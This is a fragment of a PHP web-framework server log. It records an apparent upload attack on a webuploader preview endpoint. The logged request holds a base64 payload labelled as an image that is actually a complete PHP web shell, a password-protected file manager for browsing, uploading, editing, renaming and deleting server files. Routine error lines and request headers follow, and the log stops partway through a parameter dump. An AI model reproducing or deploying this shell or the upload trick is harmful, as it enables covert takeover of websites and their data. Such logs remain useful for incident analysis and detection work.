'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:33+08:00 ] 119.42.146.234 POST 51tianwei.com/style/admin/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002680s] [吞吐率:373.16req/s] [内存消耗:196.70kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'style', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 